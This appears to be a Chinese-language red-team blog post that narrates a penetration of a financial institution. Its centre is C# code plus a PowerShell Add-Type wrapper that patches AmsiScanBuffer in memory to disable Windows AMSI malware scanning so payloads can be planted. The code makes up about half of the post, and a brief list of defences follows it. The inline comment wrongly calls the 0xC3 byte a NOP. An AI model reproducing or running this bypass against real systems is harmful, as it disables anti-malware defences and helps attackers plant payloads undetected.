0x01 渗透故事:一个看似坚不可摧的目标
在某次红队行动中,我们的目标是一家拥有高安全标准的金融机构。经过多次尝试,传统的攻击方式几乎都被其强大的安全设备所拦截。然而,一个不起眼的细节让我找到了突破口:目标机器上运行着 Windows 10 系统一直启用的 AMSI(Antimalware Scan Interface)。为了在这片坚实的防护网中找到突破口,我开始研究如何绕过 AMSI 的检测。
AMSI 是 Windows 的一项安全功能,用来扫描并阻止恶意软件,尤其是 PowerShell 脚本。在很多攻击场景中,AMSI 的存在让攻击者的脚本失去了作用,无法在目标主机上正常执行。于是,我的任务变得明确:找到绕过 AMSI 的方法,从而在这家金融机构的系统中植入我们的 payload。
绕过AMSI的解密密码
AMSI 被设计为 Windows 的一层保护,它会拦截和扫描 PowerShell 脚本中的内容以检测潜在的恶意行为。为了绕过这道防线,我们需要理解它的工作原理,然后针对性地开发出绕过技术。
AMSI的工作机制
AMSI 在脚本执行时会调用系统中的扫描程序来检查有潜在风险的内容。它通过接口将脚本内容传递给反恶意软件引擎,进行动态分析。我们可以通过以下几个步骤理解 AMSI 的工作流:
- 脚本拦截:当用户执行 PowerShell 脚本时,AMSI 接口会截获脚本。
- 内容扫描:截获的脚本传递给已注册的反恶意软件程序进行扫描。
- 风险判断:如果反恶意软件程序判断脚本为恶意,则会阻止其执行。
破解AMSI:代码注入与内存补丁
破解 AMSI 的关键在于劫持其与反恶意软件引擎之间的沟通。通过在内存中修改 AMSI 的返回值,我们可以让它错误地认为我们的脚本是安全的。下面是一个利用 PowerShell 和 C# 的代码示例,展示如何进行这种内存修改。
<pre><code class="language-csharp">using System; using System.Runtime.InteropServices;
public class AMSIBypass { [DllImport("kernel32.dll")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")] public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
public static void Bypass() { // 加载 amsi.dll IntPtr amsi = LoadLibrary("amsi.dll"); // 获取 AmsiScanBuffer 的内存地址 IntPtr amsiScanBuffer = GetProcAddress(amsi, "AmsiScanBuffer");
// 修改 AmsiScanBuffer 的内容 uint oldProtect; VirtualProtect(amsiScanBuffer, (UIntPtr)5, 0x40, out oldProtect);
// 使用 NOP 指令覆盖 byte[] patch = { 0xC3 }; Marshal.Copy(patch, 0, amsiScanBuffer, patch.Length);
Console.WriteLine("AMSI Bypass successful"); } }</code></pre>
PowerShell集成

为了让这个 C# 代码在 PowerShell 中执行,我们需要使用 Add-Type 命令将其编译并调用:
<pre><code class="language-powershell">$code = @" using System; using System.Runtime.InteropServices;
public class AMSIBypass { [DllImport("kernel32.dll")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32.dll")] public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
public static void Bypass() { IntPtr amsi = LoadLibrary("amsi.dll"); IntPtr amsiScanBuffer = GetProcAddress(amsi, "AmsiScanBuffer");
uint oldProtect; VirtualProtect(amsiScanBuffer, (UIntPtr)5, 0x40, out oldProtect);
byte[] patch = { 0xC3 }; Marshal.Copy(patch, 0, amsiScanBuffer, patch.Length);
Console.WriteLine("AMSI Bypass successful"); } } "@
Add-Type -TypeDefinition $code -Language CSharp [AMSIBypass]::Bypass()</code></pre>
这个方法通过修改内存中的特定位置,使得 AMSI 在对我们的脚本进行扫描时,直接返回一个安全的结果,绕过了其检测。
攻防对抗:检测与防御

在我们实施绕过技术的同时,作为一名合格的红队成员,我始终牢记,需要在道德和法律的框架下进行。对于防御者来说,理解这种攻击手法也至关重要。以下是一些可能的检测与防御措施:
- 内存监控:通过监控内存中关键位置的变化,检测是否存在可疑的修改操作。
- 行为分析:不仅仅依赖于签名扫描,更多地关心脚本的行为特征。
- 提升更新频率:时刻保持反恶意软件引擎的更新,以应对新出现的绕过技术。
- 使用应用白名单:针对 PowerShell 脚本,使用白名单机制,确保只有经过审核的脚本能够执行。
一些战术上的思考
在进行这样的安全测试时,我常常思考如何更好地与防御者进行“共舞”。事实上,安全攻防始终是一场没有终点的竞赛,而作为攻击者,我们在找到防线漏洞的同时,也帮助防御者更好地加强他们的系统。了解并不断更新技术,是红队和蓝队都需要遵循的基本原则。只有这样,才能确保整个网络空间的安全与稳定。
在这次金融机构的渗透中,通过对 AMSI 的绕过,我们最终成功地将 payload 植入了他们的系统,这不仅为攻击过程增添了一份精彩,也为防御者敲响了警钟:安全不仅仅是依赖现有的技术和工具,它需要持续的关注和更新,方能有效应对不断变化的威胁。